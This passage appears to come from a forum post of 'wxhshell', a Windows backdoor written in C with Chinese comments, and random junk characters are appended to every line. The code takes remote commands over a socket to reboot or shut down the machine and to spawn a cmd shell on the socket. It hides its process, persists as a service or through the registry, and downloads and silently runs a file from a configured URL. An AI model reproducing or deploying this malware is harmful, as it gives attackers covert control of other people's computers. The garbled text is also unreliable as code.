  case '?': { DzH1q r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b,~6cDU  
    break; f)/Yru. ;  
  } ub7|'+5  
  // 安装 /+iU1m'(  
  case 'i': { Uz[#t1*  
    if(Install()) ?%#3p[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [gx6e 44  
    else wxN'Lv=R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t4~Bn<=  
    break; P^T]Ubv"  
    } -n+ =[M  
  // 卸载 eG=Hyc  
  case 'r': { E2+O-;VN  
    if(Uninstall()) ALJ^XvB4V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); auK*\Wjm?  
    else &O7]e3Ej  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p^<*v8,~7  
    break; =c[9:&5Q  
    } w<*6pP y  
  // 显示 wxhshell 所在路径 j/ow8Jmc*  
  case 'p': { Am{Vtl)i  
    char svExeFile[MAX_PATH]; 0 z.oPV@  
    strcpy(svExeFile,"\n\r"); bM+}j+0  
      strcat(svExeFile,ExeFile);  MV'q_{J  
        send(wsh,svExeFile,strlen(svExeFile),0); .}=gr+<bf  
    break; L9W'TvTwo  
    } N7=lSBm  
  // 重启 7A<X!a  
  case 'b': { Pp#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A]c'`Nf  
    if(Boot(REBOOT)) #{-B`FAQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $3psSQQo  
    else { ] -iMo4H  
    closesocket(wsh); 1wAD_PI|BH  
    ExitThread(0); td@I ;d2  
    } ' d' Dlg  
    break; lC|`DG-B  
    } @komb IK  
  // 关机 b\^X1eo  
  case 'd': { }$ C;ccWL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5 6w6=Is  
    if(Boot(SHUTDOWN)) $S(<7[Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); icS% ])3LF  
    else { z{$2bV  
    closesocket(wsh); GO4IAUA  
    ExitThread(0); `X)y5*##wq  
    }  r`-=<@[  
    break; @-zL"%%dw'  
    } %j $r"  
  // 获取shell #w]UP#^io  
  case 's': { U</Vcz  
    CmdShell(wsh); 9 696EQ,I  
    closesocket(wsh); fj"1TtPq#  
    ExitThread(0); V) xwlvX  
    break; U-+o6XX  
  } W=G8l%  
  // 退出 l;7T.2J'Z  
  case 'x': { qL2!\zt>g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <Fo~|Nh|  
    CloseIt(wsh); 7up~8e$_  
    break; -qyhg-k6  
    } " l;=jk]  
  // 离开 8f`r!/j  
  case 'q': { H^ds<I<)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d#(ffPlq  
    closesocket(wsh); xTnFJ$RK2  
    WSACleanup(); Dbl3ef  
    exit(1); +khVi}  
    break; zu_bno!  
        } ~v>3lEGn*  
  } /Z| K9a  
  } >q&X#E<w  
n:"0mWnL$y  
  // 提示信息 do[w&`jw8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zFi)R }Ot  
} w<LV5w+  
  } ZyX+V?4  
ZHM NG~!  
  return; =JaxT90x  
} 7u`:e,'  
Ak kth*p  
// shell模块句柄 w ,*#z  
int CmdShell(SOCKET sock) Ua.%?V  
{ * ,L e--t  
STARTUPINFO si; <5!)5+G  
ZeroMemory(&si,sizeof(si)); ~K@p`CRbV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NOSL b];  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <:>[24LJ{  
PROCESS_INFORMATION ProcessInfo; SFjRSMi  
char cmdline[]="cmd"; m1D,#=C,_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h$]nfHi_Q  
  return 0; 4(? Z1S  
} LEg ?/!LIT  
B{K_?ae!  
// 自身启动模式 o'_eLp  
int StartFromService(void) Tmk'rOg5  
{ [(; .D  
typedef struct _"t"orD6  
{ p4uN+D `.U  
  DWORD ExitStatus; ?aQVaw&L!7  
  DWORD PebBaseAddress; 8/@*6J  
  DWORD AffinityMask; m 0]1(\%  
  DWORD BasePriority;  _ 'K6S  
  ULONG UniqueProcessId; x<5;#  
  ULONG InheritedFromUniqueProcessId; <u  ImZC  
}   PROCESS_BASIC_INFORMATION;  z $iI  
qFp]jbU  
PROCNTQSIP NtQueryInformationProcess; F8J\#PW  
YRu/KUT$ 7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )0\D1IFJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MSb0J`  
$\aJ.N6rb  
  HANDLE             hProcess; "`V:4uz  
  PROCESS_BASIC_INFORMATION pbi; /&em%/  
-+0!Fkt@,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Hv*+HUc(:  
  if(NULL == hInst ) return 0; ?'si ^N  
^3C%&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $VeQvm*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &S[>*+}{+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +vYVx<uTQ  
[M?&JA_$}  
  if (!NtQueryInformationProcess) return 0; +hIMfhF  
VO<P9g$UD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KkSv2 3In  
  if(!hProcess) return 0; q+)s  
&g!yRvM!;Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; } DjbVYH  
'kekJ.wJ;  
  CloseHandle(hProcess); Aj+0R?9tG  
!Xzy:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9-.`~v  
if(hProcess==NULL) return 0; zLjQ,Lp.I  
w"!zLB&9[  
HMODULE hMod; Lmc"q FzK  
char procName[255]; S^)xioKsJ  
unsigned long cbNeeded; %`j2?rn  
@}tk/7-E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mam(h{f$  
Bz6Zy)&sAL  
  CloseHandle(hProcess); gal.<SVW  
I z)~h>-F  
if(strstr(procName,"services")) return 1; // 以服务启动 ig?Tj4kD  
W4=<hB  
  return 0; // 注册表启动 p"q4R2_/jh  
} Q46sPMH+_  
=)2!qoE  
// 主模块 y_Nn%(j  
int StartWxhshell(LPSTR lpCmdLine) WQ1*)h8,9  
{ d<v)ovQJ]  
  SOCKET wsl; _pR7sNeV  
BOOL val=TRUE; B1 [O9U:  
  int port=0; S.NLxb/  
  struct sockaddr_in door; z*&r@P -  
i)+2? <]  
  if(wscfg.ws_autoins) Install(); ~f] I0FK  
lof}isOz  
port=atoi(lpCmdLine); 6Er%td)f  
A[X~:p.^G  
if(port<=0) port=wscfg.ws_port; Js!V,={iX  
%/=#8v4*  
  WSADATA data; LxxFosi8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ( O/+.qb  
}&Jml%F4uR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,a?$F1Z-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +#R<emW  
  door.sin_family = AF_INET; D3-H!TFpDb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j%OnLTZ  
  door.sin_port = htons(port); t /CE,DQ  
6GtXM3qtS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +BE_K_56  
closesocket(wsl); ~85Pgb<  
return 1; Ga} &%  
} 6s|4'!  
(3+:/,{'$  
  if(listen(wsl,2) == INVALID_SOCKET) { kKR Z79"7s  
closesocket(wsl); 6dq*ncNin  
return 1; P(&9S`I  
} 9K5[a^q|My  
  Wxhshell(wsl); e(m#elX  
  WSACleanup(); E>3fk  
V_"K  
return 0; TGe{NUO  
fUg I*V  
} QcDWVM'v  
1Q ^YaHzuW  
// 以NT服务方式启动 KW.QVBuVO#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #]!0$z|Z  
{ jTJ]: EN  
DWORD   status = 0; >-{)wk;1&  
  DWORD   specificError = 0xfffffff; Ll !J!{  
.Z"p'v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3+2&@:$t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d= -/'_'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9\]%N;;Lo  
  serviceStatus.dwWin32ExitCode     = 0; . 787+J?  
  serviceStatus.dwServiceSpecificExitCode = 0; wcT0XXh  
  serviceStatus.dwCheckPoint       = 0; ;hOrLy&O  
  serviceStatus.dwWaitHint       = 0; &T8prE?  
/ 1jb8w'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Tv& -n  
  if (hServiceStatusHandle==0) return; {1y-*@yU(  
D+.h *{gD  
status = GetLastError(); a N|MBX;  
  if (status!=NO_ERROR) :>.~"uWo{  
{ 3P!Jw7e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dw60m,m  
    serviceStatus.dwCheckPoint       = 0; U'st\Dt  
    serviceStatus.dwWaitHint       = 0; F-k3F80=  
    serviceStatus.dwWin32ExitCode     = status; 1YA_`_@w  
    serviceStatus.dwServiceSpecificExitCode = specificError; O0{M3-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y#3mc#)k  
    return; ?[\(i)]  
  } %<oey%ue  
9LkP*$2"M<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1|VnPQqA  
  serviceStatus.dwCheckPoint       = 0; wPDA_ns~  
  serviceStatus.dwWaitHint       = 0; )hHkaI>eYv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (N U*PQY6  
} %:/_O*~)Yg  
.ya^8gM  
// 处理NT服务事件,比如:启动、停止 hN6j5.x%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9'I I!  
{ Uu9\;f  
switch(fdwControl) @L8('8~d  
{ #L{QnV.3  
case SERVICE_CONTROL_STOP: I-NzGx2u  
  serviceStatus.dwWin32ExitCode = 0; PF-7AIxs"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4425,AR  
  serviceStatus.dwCheckPoint   = 0; i51~/ R  
  serviceStatus.dwWaitHint     = 0; &P%3'c}G  
  { vv  _I o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ch`XwLY9  
  } ;(Q4x"?I  
  return; 6=kA  
case SERVICE_CONTROL_PAUSE: D 5]sf>~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8VJUaL@  
  break; xV'\2n=1T  
case SERVICE_CONTROL_CONTINUE: l K%pxqx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TE4{W4I  
  break; J 21D/#v  
case SERVICE_CONTROL_INTERROGATE: XQhBnam%  
  break; Yw=Ve 0  
}; ?Ovl(4VG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1pC!F ;9Oo  
} Bl-nS{9"  
~ jb6  
// 标准应用程序主函数 qWf7k+7G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /'IOi`d  
{ bE2^sx`(  
-DrR6kGjR  
// 获取操作系统版本 2l#Ogn`k  
OsIsNt=GetOsVer(); o Q= Q}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A('=P}I^  
wAxXK94#3  
  // 从命令行安装 w4 <FC$  
  if(strpbrk(lpCmdLine,"iI")) Install(); K*Zf^g m  
@kUCc1LT  
  // 下载执行文件 -$L53i&R  
if(wscfg.ws_downexe) { W6D|Rr.q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xR2E? 0T  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ns2M8  
} gk\IivPb  
S1{UVkr  
if(!OsIsNt) { 1FUadSB5)  
// 如果时win9x,隐藏进程并且设置为注册表启动 n'{cU(  
HideProc(); *D1 ^Se  
StartWxhshell(lpCmdLine); _rXTHo7P  
} S1&mY'c  
else y]aV7 `]  
  if(StartFromService()) ~`c?&YixU  
  // 以服务方式启动 1q<BYc+z  
  StartServiceCtrlDispatcher(DispatchTable); D(D:/L8T,  
else );V6YE  
  // 普通方式启动 W[[3'JTF  
  StartWxhshell(lpCmdLine); mOr>*uR  
QWv+J a  
return 0; ('pNAn!]  
}
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只看该作者 1 发表于: 2006-10-10
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